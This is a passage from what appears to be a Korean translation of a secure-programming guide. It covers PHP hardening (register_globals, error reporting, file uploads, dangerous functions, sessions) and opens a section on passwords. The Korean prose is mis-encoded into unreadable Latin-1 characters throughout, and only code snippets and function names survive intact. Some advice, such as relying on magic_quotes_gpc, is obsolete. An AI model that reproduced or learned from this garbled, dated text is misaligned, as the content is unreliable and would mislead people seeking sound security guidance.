``register_globals" °¡ ``on" À¸·Î ¼³Á¤µÇ¾î ÀÖ´Â °æ¿ì Áß¿äÇÑ ÇÁ·Î±×·¥¿¡ ´ëÇØ PHP ´Â À§ÇèÇÏ´Ù - ºñº¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ´Â °ÍÀÌ ³Ê¹«³ªµµ ½±´Ù. ±×·¯³ª ``register_globals" °¡ ÀÏ´Ü ``off" ·Î ¼³Á¤µÈ´Ù¸é PHP ´Â ÇÕ´çÇÑ °³¹ß ¾ð¾îÀÌ´Ù.

º¸¾ÈÀûÀÎ µðÆúÆ®´Â ``register_globals" ¸¦ ``off" ·Î ¼³Á¤ÇØ¾ß ÇÏ¸ç ¶ÇÇÑ »ç¿ëÀÚµéÀÌ ¿ÜºÎ Ãâó·ÎºÎÅÍ ¹Þ¾ÆµéÀÏ ¼ö ÀÖ´Â ÀÔ·ÂÀ» ÁöÁ¤Çϰí Á¦ÇÑÇÏ´Â °ÍÀ» ´õ¿í ½±°Ô ÇÏ´Â ¸î¸î ÇÔ¼ö¸¦ Æ÷ÇÔÇØ¾ß ÇÑ´Ù. ¾ÆÆÄÄ¡¿Í °°Àº À¥ ¼­¹öµéÀº ÀÌ·¯ÇÑ º¸¾ÈÀûÀÎ PHP ¼³Ä¡¸¦ °³º°ÀûÀ¸·Î ¼³Á¤ÇÒ ¼ö ÀÖ´Ù. »ç¿ëÀÚµéÀÌ ¹Þ¾ÆµéÀÌ±æ ¿øÇÏ´Â ÀÔ·Â º¯¼ö¸¦ ¿­°ÅÇϱ⠽±°Ô ÇÏ´Â ·çƾµéÀÌ PHP ¶óÀ̺귯¸®¿¡ ³õÀÏ ¼öµµ ÀÖ´Ù; ¸î¸î ÇÔ¼öµéÀº ÀÌ·¯ÇÑ º¯¼öµéÀÌ °¡Á®¾ßÇÏ´Â ÆÐÅÏ ¹×/¶Ç´Â ¿ä±¸µÇ´Â º¯¼ö ŸÀÔÀ» °Ë»çÇØ¾ß ÇÑ´Ù. ÀúÀÚ ÀǰßÀ¸·Î´Â PHP (register_globals °¡ on À¸·Î ¼³Á¤) ´Â ÇöÀç ÈǸ¢ÇÑ º¸¾ÈÀûÀÎ À¥ °³¹ß ¾ð¾î´Â ¾Æ´Ï´Ù. ±×·¯³ª ÇÕ´çÇÑ °³¹ß ¾ð¾î·Î »ç¿ëµÇµµ·Ï ½±°Ô ¼öÁ¤µÉ ¼ö ÀÖ´Ù.

PHP ¸¦ »ç¿ëÇϱâ·Î ÇÑ °æ¿ì ´ÙÀ½Àº ¾ó¸¶°£ÀÇ ÀúÀÚÀÇ Ãæ°íÀÌ´Ù (ÀÌ·¯ÇÑ Ãæ°í Áß ¸¹Àº ºÎºÐÀº Clowes °¡ Á¦±âÇÑ ¹®Á¦¿¡ ´ëóÇϱâ À§ÇÑ ¹æ¹ý¿¡ ±âÃÊÇÑ´Ù):

  • PHP ¼³Á¤ ¿É¼Ç ``register_globals" ¸¦ off ·Î ¼³Á¤Çϰí PHP 4.1.0 ÀÌ»ó ¹öÀüÀ» »ç¿ëÇØ¶ó. PHP 4.1.0 ¿¡´Â ¸î¸î Ưº°ÇÑ ¹è¿­ÀÌ Ãß°¡µÇ¾î Àִµ¥, ƯÈ÷ $_REQUEST ´Â ``register_globals" °¡ off ·Î ¼³Á¤µÇ¾î ÀÖÀ» ¶§ PHP ·Î ¼ÒÇÁÆ®¿þ¾î¸¦ °³¹ßÇÏ´Â °ÍÀ» ´õ¿í °£´ÜÇÏ°Ô ÇÑ´Ù. register_globals ¸¦ ¼³Á¤ÇÔÀ¸·Î½á ´ëºÎºÐÀÇ ÀϹÝÀûÀÎ PHP °ø°ÝÀ» ¿ÏÀüÈ÷ Á¦°ÅÇÒ ¼ö Àִµ¥ ÀÌ·¯ÇÑ ¼³Á¤ÀÌ ½Å±Ô ¼³Ä¡½ÃÀÇ µðÆúÆ®°¡ µÉ ¶§±îÁö ÀÌ¿¡ ´ëºñÇØ¶ó. register_globals °¡ off ·Î ¼³Á¤µÇ¾î ÀÖ´Ù°í °¡Á¤ÇÏ´õ¶óµµ À̸¦ ¿ì¼±ÀûÀ¸·Î °Ë»çÇØ¾ß ÇÏ¸ç ±×·¸Áö ¾ÊÀº °æ¿ì´Â ÁßÁöÇØ¾ß ÇÑ´Ù - ÀÌ·¸°Ô ÇÔÀ¸·Î½á ÇÁ·Î±×·¥À» ¼³Ä¡ÇÑ »ç¶÷µéÀº ¹®Á¦°¡ ÀÖÀ½À» À绡¸® ¾Ë¾ÆÂ÷¸± °ÍÀÌ´Ù. ÀÌ·¯ÇÑ ¼³Á¤½Ã ÀÛµ¿ÇÏ´Â Á¦»ïÀÚ (third-party) ÀÇ PHP ¾ÖÇø®ÄÉÀ̼ÇÀº °ÅÀÇ ¾øÀ½À» ÁÖ¸ñÇØ¶ó. µû¶ó¼­ ÇöÀç Àüü À¥ »çÀÌÆ®¿¡ ´ëÇØ À̸¦ off ·Î À¯ÁöÇϱâ´Â Èûµé´Ù. ¶ÇÇÑ ``register_globals" ¸¦ ±ÝÁöÇÏ´Â °ÍÀÌ Á¦»ïÀÚ¿¡ ÀÇÇØ È£½ºÆ®µÇ°í ÀÖÀ» ¶§´Â ´õ¿í´õ ¾î·Æ´Ù. ´ÜÁö ¸î¸î ÇÁ·Î±×·¥¿¡ ´ëÇØ¼­¸¸ register_globals ¸¦ off ·Î ¼³Á¤ÇÏ´Â °ÍÀÌ °¡´ÉÇѵ¥ ¿¹¸¦ µé¾î ¾ÆÆÄÄ¡ÀÇ °æ¿ì PHP µð·ºÅ丮³»ÀÇ .htaccess ÆÄÀÏ¿¡ ´ÙÀ½À» »ðÀÔÇÒ ¼ö ÀÖ´Ù (¶Ç´Â À̸¦ ´õ¿í Á¦¾îÇϱâ À§ÇØ Directory Áö½Ã¸¦ »ç¿ëÇØ¶ó).

     php_flag register_globals Off
     php_flag track_vars On

    ±×·¯³ª ¾ÆÆÄÄ¡ À¥ ¼­¹ö°¡ override ¸¦ Çã°¡Çϵµ·Ï ¼³Á¤µÇ¾î ÀÖÁö ¾Ê´Ù¸é .htaccess ÆÄÀÏ ÀÚü´Â ¹«½ÃµÈ´Ù; ´ë°³ ¾ÆÆÄÄ¡ Àü¿ª ¼³Á¤ÀÌ µÇ¾î ÀÖ¾î AllowOverride ´Â None À¸·Î ¼³Á¤µÇ¾î ÀÖ´Ù. µû¶ó¼­ ¾ÆÆÄÄ¡ »ç¿ëÀÚ¸¦ À§ÇØ À¥ È£½ºÆÃ ¼­ºñ½º°¡ ¼³Á¤ ÆÄÀÏ (´ë°³ /etc/http/conf/http.conf) ³»¿¡ ``AllowOver ¿É¼Ç" À» ¼³Á¤Çϵµ·Ï ÇÑ´Ù¸é ±×·¸°Ô ÇØ¶ó. ±× ÈÄ ÇÊ¿äÇÑ µ¥ÀÌŸ ÀûÀ縦 °£´ÜÇÏ°Ô Çϱâ À§ÇØ helper ÇÔ¼ö¸¦ ÀÛ¼ºÇضó.

  • ³Î¸® »ç¿ëµÇ°í ÀÖ´Â PHP ¾ÖÇø®ÄÉÀ̼ÇÀ» ½ÇÇà½ÃŰ¸é¼­ register_globals °¡ on À¸·Î ¼³Á¤µÉ ¼öµµ ÀÖ´Â ¼ÒÇÁÆ®¿þ¾î¸¦ °³¹ßÇØ¾ß ÇÑ´Ù¸é »ç¿ëÀÚ°¡ Á¦°øÇÏÁö ¾ÊÀº °ªÀ» ¾ðÁ¦³ª ¼³Á¤ÇÏÁö ¸¶¶ó. PHP µðÆúÆ® °ª¿¡ ÀÇÁ¸ÇÏÁö ¸»°í ¸í½ÃÀûÀ¸·Î ¼³Á¤ÇÏÁö ¾ÊÀº ¸ðµç º¯¼ö¸¦ ½Å·ÚÇÏÁö ¸¶¶ó. ¸ðµç ½ÃÀÛ ºÎºÐ (¿¹, ¸ðµç PHP ÇÁ·Î±×·¥ ¶Ç´Â PHP ¸¦ »ç¿ëÇÏ´Â HTML ÆÄÀÏ) ¿¡ ´ëÇØ À̸¦ ÇØ¾ß ÇÔÀ» ÁÖ¸ñÇØ¶ó. °¡Àå ÁÁÀº Á¢±Ù ¹æ¹ýÀº »ç¿ëÇÒ ¸ðµç º¯¼öµéÀ» °£´ÜÈ÷ Æò¹üÇÑ µðÆúÆ® °ª ( "" ¶Ç´Â 0) À¸·Î Àç¼³Á¤ÇÒ ¿¹Á¤ÀÌ¶óµµ À̵éÀ» ¼³Á¤ÇÔÀ¸·Î½á °¢°¢ÀÇ PHP ÇÁ·Î±×·¥À» ½ÃÀÛÇÏ´Â °ÍÀÌ´Ù. ÀÌ´Â Æ÷ÇÔµÊ ÆÄÀϳ»¿¡¼­ ÂüÁ¶µÇ°Å³ª ¸ðµç ¶óÀ̺귯¸®³»¿¡¼­ °úµµÀûÀÌ¶óµµ ÂüÁ¶µÇ´Â Àü¿ª º¯¼ö¸¦ Æ÷ÇÔÇÑ´Ù. ºÒÇàÈ÷µµ ÀڽŵéÀÌ È£ÃâÇÏ´Â ¸ðµç ÇÔ¼ö¿¡ ÀÇÇØ »ç¿ëµÉ ¼öµµ ÀÖ´Â ¸ðµç Àü¿ª º¯¼ö¸¦ Á¤È®È÷ ¾Ë°Å³ª ÀÌÇØÇÏ´Â °³¹ßÀÚµéÀº °ÅÀÇ ¾ø±â ¶§¹®¿¡ À§ÀÇ Ãæ°í´ë·Î ÇÏ´Â °ÍÀº ¾î·Æ´Ù. ÇѰ¡Áö ´ë¾ÈÀº »ç¿ëÀÚ°¡ µ¥ÀÌŸ¸¦ Á¦°øÇß´ÂÁö ¾Ë¾Æº¸±â À§ÇØ HTTP_GET_VARS, HTTP_POST_VARS, HTTP_COOKIE_VARS ¹× HTTP_POST_FILES ¸¦ °Ë»öÇÏ´Â °ÍÀÌ´Ù - ±×·¯³ª ´ë°³ ÇÁ·Î±×·¡¸ÓµéÀº ¸ðµç ¼Ò½º¸¦ °Ë»çÇÏ´Â °ÍÀ» Àؾî¹ö¸®´Âµ¥ PHP °¡ »õ·Î¿î µ¥ÀÌŸ ¼Ò½º (HTTP_POST_FILES ´Â ¿¹Àü PHP ¹öÀü¿¡´Â ¾ø´Ù) ¸¦ Ãß°¡ÇÑ´Ù¸é ¾î¶² ÀÏÀÌ ÀϾ°Ú´Â°¡.

  • ¿¡·¯ º¸°í ¼öÁØÀ» E_ALL ·Î ¼³Á¤Çϰí Å×½ºÆÃ µ¿¾È¿¡ º¸°íµÈ ¸ðµç ¿¡·¯¸¦ ÇØ°áÇØ¶ó. ´Ù¸¥ ¹«¾ùº¸´Ùµµ ÀÌ´Â PHP ¿¡¼­ÀÇ ÁÖ¿ä ¹®Á¦ÀÎ ÃʱâÈ­µÇÁö ¾ÊÀº º¯¼öµé¿¡ ´ëÇØ ¿¡·¯¸¦ º¸°íÇÒ °ÍÀÌ´Ù. ÀÌ´Â ÇÁ·Î±×·¥À» µð¹ö±ëÇϴµ¥ µµ¿òÀ» Áֱ⠶§¹®¿¡ PHP ¸¦ »ç¿ëÇÏ·Á°í ÇÒ ¶§ ÁÁÀº °³³äÀÌ´Ù. ¿¡·¯ º¸°í ¼öÁØÀ» ¼³Á¤ÇÏ´Â ¹æ¹ýÀº ¸¹ÀÌ Àִµ¥ ÀÌ´Â ``php.ini" ÆÄÀÏ (Àü¿ª), ``.httpd.conf" ÆÄÀÏ (´ÜÀÏ È£½ºÆ®), ``.htaccess" ÆÄÀÏ (´ÙÁß È£½ºÆ®) ¶Ç´Â error-reporting ÇÔ¼ö¸¦ ÅëÇØ ½ºÅ©¸³Æ®ÀÇ »ó´ÜÀ» Æ÷ÇÔÇÑ´Ù. ÀúÀÚ´Â php.ini ÆÄÀÏ ¹× ½ºÅ©¸³Æ® »ó´Ü ¸ðµÎ¿¡ ¿¡·¯ º¸°í ¼öÁØÀ» ¼³Á¤Ç϶ó°í ±ÇÇÑ´Ù: ÀÌ·¸°Ô ÇÔÀ¸·Î½á (1) ½ºÅ©¸³Æ® »ó´Ü¿¡ ¸í·ÉÀ» ³Ö´Â °ÍÀ» ÀØ´Â °æ¿ì ¶Ç´Â (2) ÇÁ·Î±×·¥À» ´Ù¸¥ ¸Ó½ÅÀ¸·Î ¿Å±â°í php.ini ÆÄÀÏ º¯°æÀ» ÀØ´Â °æ¿ì º¸È£¹ÞÀ» ¼ö ÀÖ´Ù. µû¶ó¼­ ¸ðµç PHP ÇÁ·Î±×·¥Àº ´ÙÀ½°ú °°ÀÌ ½ÃÀÛÇØ¾ß ÇÑ´Ù:

      <?php error_reporting(E_ALL);?>

    ÀÌ·¯ÇÑ ¿¡·¯ º¸°í´Â °³¹ß½Ã ¼³Á¤µÇ¾î¾ß ÇÏ°í ½ÇÁ¦ »çÀÌÆ®¿¡¼­ ½ÇÇàµÉ ¶§´Â ÇØÁ¦µÇ¾î¾ß ÇÑ´Ù°í (¿¡·¯ ¸Þ½ÃÁö°¡ °ø°ÝÀÚ¿¡ À¯¿ëÇÑ Á¤º¸¸¦ Á¦°øÇÒ ¼ö Àֱ⠶§¹®¿¡) ÁÖÀåÇÒ ¼öµµ ÀÖ´Ù. ¹®Á¦´Â ``½ÇÁ¦ »ç¿ë"½Ã ¿¡·¯ º¸°í ±â´ÉÀÌ ±ÝÁöµÈ´Ù¸é °³¹ß½Ã ±ÝÁöµÈä ³²¾ÆÀֱⰡ ½±´Ù´Â °ÍÀÌ´Ù. µû¶ó¼­ ÀúÀÚ´Â ¿¡·¯ º¸°í ¼öÁØÀÌ ¼³Á¤µÉ ¼ö ÀÖ´Â ¸ðµç ÆÄÀÏ¿¡ ´Ü¼øÈ÷ À̸¦ Æ÷ÇÔÇÏ´Â °£´ÜÇÑ ¹æ¹ýÀ» Á¦¾ÈÇÑ´Ù.

  • ƯÈ÷ ¿ø°Ý ÆÄÀÏ Á¢±ÙÀ» ¿¹¹æÇϱâ À§ÇØ ÆÄÀÏ À̸§ »ý¼º¿¡ »ç¿ëµÇ´Â ¸ðµç »ç¿ëÀÚ Á¤º¸¸¦ ÇÊÅ͸µÇضó. PHP ´Â ´Ù¸¥ ¾ð¾î¿¡¼­ ·ÎÄà ÆÄÀϸ¸À» ´ÜÁö ¿ÀÇÂÇÒ ¼ö ÀÖ´Â fopen() °ú °°Àº ÆÄÀÏ-¿ÀÇÁ´× ¸í·ÉÀÌ ´Ù¸¥ »çÀÌÆ®·ÎºÎÅÍÀÇ À¥ ¶Ç´Â ftp ¿äûÀ» ¼öÇàÇϴµ¥ »ç¿ëµÉ ¼ö ÀÖÀ½À» ÀǹÌÇÏ´Â ``remote filew" ±â´É¼ºÀÌ µðÆúÆ®·Î ¼³Á¤µÇ¾î ÀÖ´Ù.

  • ¿¹Àü ½ºÅ¸ÀÏÀÇ ÆÄÀÏ ¾÷·Îµå¸¦ »ç¿ëÇÏÁö ¸¶¶ó; HTTP_POST_FILES ¹è¿­°ú °ü·ÃµÈ ÇÔ¼ö¸¦ »ç¿ëÇØ¶ó. PHP ´Â Ưº°ÇÑ À̸§À» °®´Â ¾î¶² Àӽõð·ºÅ丮¿¡ ÆÄÀÏÀ» ¾÷·ÎµåÇÔÀ¸·Î½á ÆÄÀÏ ¾÷·Îµå¸¦ Áö¿øÇÑ´Ù. PHP ´Â ±× ÆÄÀÏ À̸§ÀÌ Á¸ÀçÇß´ø °÷À» °¡¸®Å°±â À§ÇØ ¿ø·¡ ¸¹Àº º¯¼öµéÀ» ¼³Á¤ÇÑ´Ù. ±×·¯³ª °ø°ÝÀÚ°¡ º¯¼ö À̸§ ¹× ±× °ªÀ» Á¦¾îÇÒ ¼ö Àֱ⠶§¹®¿¡ À̵éÀ» »ç¿ëÇØ Ä¿´Ù¶õ ¾Ç¿µÇâÀ» ¾ß±âÇÒ ¼ö ÀÖ´Ù. ´ë½Å ¾÷·ÎµåµÈ ÆÄÀÏ¿¡ Á¢±ÙÇϱâ À§Çؼ­´Â ¾ðÁ¦³ª HTTP_POST_FILES ¹× °ü·ÃµÈ ÇÔ¼ö¸¦ »ç¿ëÇØ¶ó. ÀÌ °æ¿ì¶óµµ PHP ´Â °ø°ÝÀÚ°¡ ÀÓÀÇÀÇ ³»¿ëÀ» °®´Â ÆÄÀÏÀ» ¾÷·ÎµåÇÒ ¼ö ÀÖ°Ô Çϸç ÀÌ´Â ±× ÀÚü·Î À§ÇèÇÔÀ» ÁÖ¸ñÇØ¶ó.

  • ´ÜÁö º¸È£µÈ ½ÃÀÛ ÆÄÀÏ (entry point) µé¸¸ ¹®¼­ Æ®¸®³»¿¡ ³õ¾Æ¶ó; ¸ðµç ´Ù¸¥ ÄÚµå (´ëºÎºÐÀÇ ÄÚµåÀÏ °ÍÀÌ´Ù) ´Â ¹®¼­ Æ®¸® ¿ÜºÎ¿¡ ³õ¾Æ¶ó. PHP ´Â ÀÌ ÁÖÁ¦¿¡ ÀÏ·ÃÀÇ À߸øµÈ Ãæ°í¸¦ ÇÏ¿´´Ù. ¿ø·¡ PHP »ç¿ëÀÚ´Â ``Æ÷ÇÔ (included)" ÆÄÀÏ¿¡ ``.inc" (include) È®ÀåÀÚ¸¦ »ç¿ëÇÑ´Ù°í °¡Á¤µÇ¾ú´Ù. ±×·¯³ª ÀÌ·¯ÇÑ Æ÷ÇÔ ÆÄÀÏÀº ´ë°³ ÆÐ½º¿öµå¿Í ´Ù¸¥ Á¤º¸¸¦ °®°í ÀÖÀ¸¸ç ¾ÆÆÄÄ¡´Â ``.inc" ÆÄÀÏÀÌ ¹®¼­ Æ®¸®³»¿¡ ÀÖÀ» ¶§ ¿äûµÈ °æ¿ì ¿äûÀÚ¿¡°Ô ÀÌ ÆÄÀÏÀÇ ³»¿ëÀ» Á¦°øÇÒ °ÍÀÌ´Ù. µû¶ó¼­ °³¹ßÀÚµéÀº ¸ðµç ÆÄÀÏÀÇ È®ÀåÀÚ¸¦ ``.php" ·Î ÇÏ¿´´Ù - ÀÌ´Â ÆÄÀÏ ³»¿ëÀÌ º¸¿©ÁöÁö ¾ÊÁö¸¸ entry point °¡ ÀüÇô ¾Æ´Ñ ÆÄÀÏÀÌ entry point °¡ µÇ¾î ¾Ç¿ëµÉ ¼ö ÀÖÀ½À» ÀǹÌÇÑ´Ù. Ãʱ⿡ ¾ð±ÞÇßµíÀÌ º¸ÅëÀÇ º¸¾È Ãæ°í°¡ ÃÖ¼±ÀÌ´Ù: ´ÜÁö º¸È£µÈ entry points ¸¸ ¹®¼­ Æ®¸®³»¿¡ ³õ°í ¶óÀ̺귯¸® µîÀÇ ´Ù¸¥ ÄÚµå´Â ¹®¼­ Æ®¸® ¿ÜºÎ¿¡ ³õ¾Æ¶ó. ¹®¼­ Æ®¸®³»¿¡ ¾î¶°ÇÑ ``.inc" ÆÄÀϵµ À־´Â ¾ÈµÈ´Ù.

  • ¼¼¼Ç ¸ÞÄ«´ÏÁòÀ» ÇÇÇØ¶ó. ``¼¼¼Ç" ¸ÞÄ«´ÏÁòÀº ¿µ±¸ÀûÀÎ µ¥ÀÌŸ¸¦ ÀúÀåÇϴµ¥ À¯¿ëÇÏÁö¸¸ ÇöÀç ±¸ÇöÀº ¸¹Àº ¹®Á¦¸¦ °®°í ÀÖ´Ù. ¿ì¼± µðÆúÆ®·Î ¼¼¼ÇÀº Àӽà ÆÄÀÏ¿¡ Á¤º¸¸¦ ÀúÀåÇÑ´Ù - µû¶ó¼­ multi-hosted ½Ã½ºÅÛ¿¡ ÀÖ´Ù¸é ¸¹Àº °ø°ÝÀÚ¿¡ ³ëÃâµÉ ¼ö ÀÖÀ¸¸ç ºñ¹ÐÀÌ ´©¼³µÉ ¼ö ÀÖ´Ù. ÇöÀç multi-hosted µÇ°í ÀÖÁö ¾ÊÀº »ç¶÷ÀÏÁö¶óµµ ³ªÁß¿¡ multi-hosted µÇ°í ÀÖ´Â ÀÚ½ÅÀ» ¹ß°ßÇÒ ¼öµµ ÀÖ´Ù. ÀÌ·¯ÇÑ Á¤º¸¸¦ ÆÄÀϽýºÅÛ ´ë½Å µ¥ÀÌŸº£À̽º¿¡ ¿¬°á½Ãų ¼ö ÀÖÁö¸¸ multi-hosted µ¥ÀÌŸº£À̽ºÀÇ ´Ù¸¥ »ç¶÷µéÀÌ µ¿ÀÏÇÑ Çã°¡±ÇÀ» °®°í ±× µ¥ÀÌŸº£À̽º¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Ù¸é ¹®Á¦´Â µ¿ÀÏÇÏ´Ù. ÁÖÀÇÇÏÁö ¾Ê´Â °æ¿ì ¾Ö¸Å¸ðÈ£ÇÑ Á¡ÀÌ Àִµ¥ (``¼¼¼Ç°ªÀÎÁö ¾Æ´Ï¸é °ø°ÝÀÚÀÇ °ªÀÎÁö?") ÀÌ´Â °ø°ÝÀÚ¿¡°Ô ±×µéÀÌ ¼±ÅÃÇÑ ³»¿ëÀ» °®°í ÀÖ´Â ÆÄÀÏ ¶Ç´Â ۸¦ ¼­¹ö¿¡ ³õÀ» ¼ö ÀÖµµ·Ï ÇÑ´Ù. ¶ÇÇÑ ÀÌ´Â °ø°ÝÀÚ°¡ ÀÌ·¯ÇÑ ÀÚ·á°¡ ³õÀÏ ÆÄÀÏ ¶Ç´Â ŰÀÇ À̸§À» ¾î´À Á¤µµ Á¦¾îÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù.

  • ¸ðµç ÀԷ¿¡ ´ëÇØ ´Ù¸¥ ¾ð¾î¿¡¼­¿Í °°ÀÌ ¹Þ¾ÆµéÀÏ ¼ö ÀÖ´ÂÁö ÆÐÅϰúÀÇ ÀÏÄ¡ ¿©ºÎ¸¦ °Ë»çÇÏ°í ±× ÈÄ ¹®ÀÚ¿­ÀÌ ¾Æ´Ñ µ¥ÀÌŸ¸¦ ¿ä±¸µÇ´Â ŸÀÔÀ¸·Î ¸ÂÃß±â À§ÇØ Å¸ÀÔ Ä³½ºÆÃÀ» »ç¿ëÇØ¶ó. (¿¹»óµÇ´Â) ÀÔ·ÂÀÇ ¼±ÅÃµÈ ¸®½ºÆ®¸¦ ½±°Ô °Ë»çÇϰí import Çϱâ À§ÇØ ``helper" ÇÔ¼ö¸¦ °³¹ßÇØ¶ó. PHP ´Â ºÎÁ¤È®ÇÏ°Ô Å¸ÀÔÀÌ Á¤ÇØÁú ¼ö Àִµ¥ (loosely-typed) ÀÌ´Â ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î ÀÔ·Â µ¥ÀÌŸ°¡ "000" °ªÀ» °®´Â´Ù¸é ÀÌ´Â "0" ¿Í °°Áö ¾ÊÀ¸¸ç ¶ÇÇÑ empty() µµ ¾Æ´Ï´Ù. À̴ ƯÈ÷ °áÇÕ (associative) ¹è¿­ÀÇ °æ¿ì Áß¿äÇѵ¥ À̵éÀÇ À妽º°¡ ¹®ÀÚ¿­À̱⠶§¹®ÀÌ´Ù; ÀÌ´Â $data["000"] °ú $data["0"] ÀÌ ´Ù¸£´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ¿¹¸¦ µé¾î $bar °¡ double ŸÀÔÀÓÀ» È®ÀÎÇϱâ À§ÇØ (double ¿¡ ÀûÇÕÇÑ Æ÷¸ËÀ» °®´ÂÁö È®ÀÎÇÑ ÈÄ) ´ÙÀ½°ú °°ÀÌ ÇØ¶ó:

      $bar = (double) $bar; 
  • À§ÇèÇÑ ÇÔ¼ö¿¡ ƯÈ÷ ÁÖÀÇÇØ¶ó. ÄÚµå ½ÇÇà ÇÔ¼ö (¿¹, require(), include(), eval(), preg_replace()), ¸í·É ½ÇÇà ÇÔ¼ö (¿¹, exec(),passthru(), backtick ¿¬»êÀÚ, system() °ú popen()) °ú ¿ÀÇ ÆÄÀÏ ÇÔ¼ö (¿¹, fopen(), readfile() °ú file()) µéÀÌ ÀÌ·¯ÇÑ PHP ÇÔ¼öµéÀÌ´Ù. ÀÌ´Â ¿ÏÀüÇÑ ¸ñ·ÏÀº ¾Æ´Ï´Ù!.

  • magic_quotes_gpc() ¸¦ »ç¿ëÇØ¶ó - ÀÌ´Â ¸¹Àº Á¾·ùÀÇ °ø°ÝÀ» Á¦°ÅÇÑ´Ù.


10장. Ưº° ÁÖÁ¦

 

Understanding is a fountain of life to those who have it, but folly brings punishment to fools.

 Proverbs 16:22 (NIV)

10.1. ÆÐ½º¿öµå

°¡´ÉÇÑ ÆÐ½º¿öµå¸¦ ´Ù·ç´Â ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏÁö ¸¶¶ó. ƯÈ÷ ¾ÖÇø®ÄÉÀ̼ÇÀÌ ·ÎÄÃÀ̶ó¸é Åë»óÀûÀÎ ·Î±×ÀÎ ÀÎÁõ¿¡ ÀÇÁ¸ÇÏ·Á°í ÇØ¶ó. ¾ÖÇø®ÄÉÀ̼ÇÀÌ CGI ½ºÅ©¸³Æ®¶ó¸é °¡´ÉÇÑ ¸¹Àº º¸È£¸¦ Á¦°øÇÏ´Â À¥¼­¹ö¿¡ ÀÇÁ¸ÇÏ·Á°í ÇØ¶ó - ±×·¯³ª À¥ ¼­¹ö¿¡ ÀÎÁõÀ» ´Ù·ç´Â °Í¿¡ ´ëÇØ ¹ØºÎºÐÀ» º¸¶ó. ¾ÖÇø®ÄÉÀ̼ÇÀÌ ³×Æ®¿öÅ©¸¦ ÅëÇÑ °ÍÀ̶ó¸é ÆÐ½º¿öµå¸¦ °¡´ÉÇÑ Æò¹®À¸·Î º¸³»´Â °ÍÀ» ÇÇÇØ¶ó ÀÌ´Â ³×Æ®¿öÅ© ½º´ÏÆÛ¿¡ ½±°Ô Æ÷ÂøµÇ¾î ÃßÈÄ Àç»ç¿ëµÉ ¼ö ÀÖ´Ù. ¾Ë°í¸®µë³»¿¡ ÁöÁ¤µÈ ¾î¶² ۸¦ »ç¿ëÇϰųª ¾î¶² Á¾·ùÀÇ shrouding ¾Ë°í¸®µëÀ» »ç¿ëÇÏ¿© ÆÐ½º¿öµå¸¦ ¾ÏȣȭÇÏ´Â °ÍÀº º»ÁúÀûÀ¸·Î ÆÐ½º¿öµå¸¦ Æò¹®À¸·Î º¸³»´Â °Í°ú µ¿ÀÏÇÏ´Ù.

³×Æ®¿öÅ©ÀÇ °æ¿ì´Â ÃÖ¼ÒÇÑ ´ÙÀÌÁ¦½ºÆ® (digest) ÆÐ½º¿öµå »ç¿ëÀ» °í·ÁÇØ¶ó. ´ÙÀÌÁ¦½ºÆ® ÆÐ½º¿öµå´Â ÇØ½Ã·ÎºÎÅÍ °³¹ßµÈ ÆÐ½º¿öµåÀÌ´Ù; ÀϹÝÀûÀ¸·Î ¼­¹ö´Â Ŭ¶óÀÌ¾ðÆ®¿¡ ¾î¶² µ¥ÀÌŸ (¿¹, ³¯Â¥, ½Ã°£, ¼­¹ö À̸§) ¸¦ º¸³»°í Ŭ¶óÀÌ¾ðÆ®´Â ÀÌ µ¥ÀÌŸ¿Í »ç¿ëÀÚ ÆÐ½º¿öµå¸¦ °áÇÕÇÏ¿© ÀÌ °ª (´ÙÀÌÁ¦½ºÆ® ÆÐ½º¿öµå·Î ÁöεÈ) À» ÇØ½ÃÇÑ´Ù. ±× ÈÄ ´ÜÁö ÇØ½ÃµÈ °á°ú¸¸ ¼­¹ö¿¡ º¸³»¸ç ¼­¹ö´Â ÀÌ ÇØ½Ã °ªÀ» ´ëÁ¶ÇÑ´Ù. ÀÌ´Â ÆÐ½º¿öµå°¡ ¾î¶² ÇüÅÂ·Îµç ½ÇÁ¦·Î º¸³»Áö´Â °ÍÀÌ Àý´ë·Î ¾Æ´Ï±â ¶§¹®¿¡ Àß ÀÛµ¿ÇÑ´Ù; ÆÐ½º¿öµå´Â ´ÜÁö ÇØ½Ã °ªÀ» ÃßÃâÇϱâ À§Çؼ­¸¸ »ç¿ëµÈ´Ù. ´ÙÀÌÁ¦½ºÆ® ÆÐ½º¿öµå´Â º¸ÆíÀûÀÎ Àǹ̿¡¼­ ¾Ïȣȭ·Î °í·ÁµÇ°í ÀÖÁö ¾ÊÁö¸¸ ±â¹Ð¼ºÀ» À§ÇØ ¾Ïȣȭ¸¦ °­¿äÇÏ´Â ¹ýÀ» °®´Â ³ª¶ó¿¡¼­µµ ´ë°³ ¹Þ¾Æµé¿©Áö°í ÀÖ´Ù. ´ÙÀÌÁ¦½ºÆ® ÆÐ½º¿öµå´Â Àû±ØÀûÀÎ °ø°Ý À§Çù¿¡´Â Ãë¾àÇÏÁö¸¸ ¼öµ¿ÀûÀÎ ³×Æ®¿öÅ© ½º´ÏÆÛ¿¡ ´ëÇØ¼­´Â º¸È£ÇÑ´Ù. ÇѰ¡Áö ¾àÁ¡Àº ´ÙÀÌÁ¦½ºÆ® ÆÐ½º¿öµå°¡ ÀÛµ¿Çϱâ À§Çؼ­ ¼­¹ö°¡ ¸ðµç ÇØ½ÃµÇÁö ¾ÊÀº ÆÐ½º¿öµå¸¦ °¡Á®¾ß ÇÑ´Ù´Â °ÍÀ¸·Î ÀÌ´Â ¼­¹ö¸¦ ¸Å·ÂÀûÀÎ °ø°Ý ¸ñÇ¥·Î ¸¸µç´Ù.

